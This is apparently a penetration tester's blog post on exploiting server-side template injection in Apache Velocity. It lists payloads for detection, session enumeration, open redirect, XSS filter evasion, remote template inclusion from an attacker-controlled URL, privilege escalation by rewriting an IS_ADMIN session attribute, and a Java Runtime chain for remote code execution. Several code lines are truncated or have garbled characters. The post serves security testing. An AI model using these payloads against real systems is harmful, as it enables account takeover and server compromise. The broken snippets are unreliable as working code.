Testing Velocity Server-Side Template Injection

Velocity is a Java-based templating engine which executes server-side to craft complex layouts. Although limited in functionality, the fact that it executes server-side opens vectors for abuse if syntax is left in control of an attacker. This post will provide some commands we encountered useful to identify a Server-Side Template Injection (SSTI) vulnerability, enumerate the available attack surface on the platform and exploitation. The intention is to update it with any new useful command snippets which may assist in understanding security concerns regarding SSTI in velocity.

THE VULNERABILITY

When attempting to identify our injection, our payload should either be injected directly into a template file or evaluated programmatically such as the vulnerable snippet below:

```
#evaluate(<PAYLOAD>)
```

If any parameter in control of an attacker can be injected into the Velocity context, several malicious actions can be performed abusing available syntax.

IDENTIFICATION

The concept we will use to identify a vulnerable input field is to assign a variable and render it. This can be done as below:

```
#set ($run=1 + 1) $run
#set( $bar = 'foo' ) $bar
```

These payloads will print **‘2’** and **‘foo’** respectively in a vulnerable application.

On occasion the ‘#set’ instruction will be blacklisted, which we can circumvent by manipulating the syntax:

```
#{set} ($run=1 + 1) $run
```

ENUMERATION

ANTGARSIL PAGES

I break things

Anton's personal website and blog

Depending on the platform in use, we may be able to enumerate interesting information.

ENUMERATE HTTPSESSION SERVER-SIDE VARIABLES

You can access the user’s session (HTTPSession) via the $session object. The command below will enumerate all server-side session variable names and their values:

```
▮foreach ($key in $session.getAttributeNames()) $key:$session.g
```

Attributes can also be obtained with the below syntax:

```
$request.getSession().getAttribute($key)  $request.session.getA
```

IDENTIFY THE PLATFORM AND ENUMERATE FURTHER

Accessible methods and objects may change depending on the version of Velocity in use. Developers implementing a solution using Velocity may implement additional methods interesting for an attacker. Be sure to consult any publicly available documentation to see if there are any additional methods available for the platform you are testing.

EXPLOITATION

Identification of server-side template injection can lead to several exploitation scenarios.

OPEN REDIRECTION

The server’s response (HttpServletResponse) is also available in all contexts. This will allow us to send a server-side redirection (302 response) to our victim and coerce them to browse a web application in the attackers control. This can be done as shown below:

```
$response.sendRedirect("https://DOMAIN")
```

CROSS-SITE SCRIPTING

Being able to render any content we want will allow us to also abuse this to perform client-side attacks via Cross-Site Scripting. Creating a proof of concept for this is trivial:

```
▮set($xss = '<script>alert(1);</script>') $xss
```

The interesting part where Velocity can assist us is in circumventing web application firewalls or any blacklist filtering approach. The possibilities are endless, but as an example we could do something as follows:

```
▮set($run = ['<','s','c','r','i','p','t','>','alert(1);','<','/
```

The above only creates a long array of strings, which we will then concatenate and render on the application. REMOTE FILE INCLUDE If we have a restricted input length or wish to remotely manage our injected payload, we can include and execute a remote file including Velocity code by issuing the following command:

```
▮evaluate($import.read('http://DOMAIN'))
```

ANTGARSIL PAGES

I break things

Anton's personal website and blog

This technique could also be extrapolated to enumerate internal services adjacent to the affected server by attempting to connect via HTTP. The errors or delays provided by the templating engine will show whether a service is open or closed.

PRIVILEGE ESCALATION

This is an example scenario where manipulation of server-side HTTP Session variables could lead to privilege escalation. This was discovered on a product and allowed complete takeover of the affected platform.

In this example, we have identified a server-side variable called 'IS_ADMIN', set to 0 for our unprivileged user. Using Velocity, we can set that variable to anything we want to gain administrative privileges on the application. In this sample payload, we will set the 'IS_ADMIN' variable to '1', in order to grant our user administrative privileges. To ensure our server-side variable is used by our user, we will immediately perform a server-side redirect to the admin portal:

```
$session.setAttribute("IS_ADMIN","1") $response.sendRedirect("h
```

REMOTE CODE EXECUTION

Velocity allows you to interface with underlying Java in order to execute code. This has been documented previously [1] and could allow an attacker to compromise the underlying infrastructure.

```
 █set($str=$class.inspect("java.lang.String").type)
█set($chr=$class.inspect("java.lang.Character").type)
█set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().
$ex.waitFor()
█set($out=$ex.getInputStream())
█foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
█end
```

REFERENCES

[1] Server-Side Template Injection: RCE for the modern web app https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf

[2] The Apache Velocity User Guide http://velocity.apache.org/engine/1.7/user-guide.html

ssti velocity web #ssti #velocity #web

ANTGARSIL PAGES

I break things

Anton's personal website and blog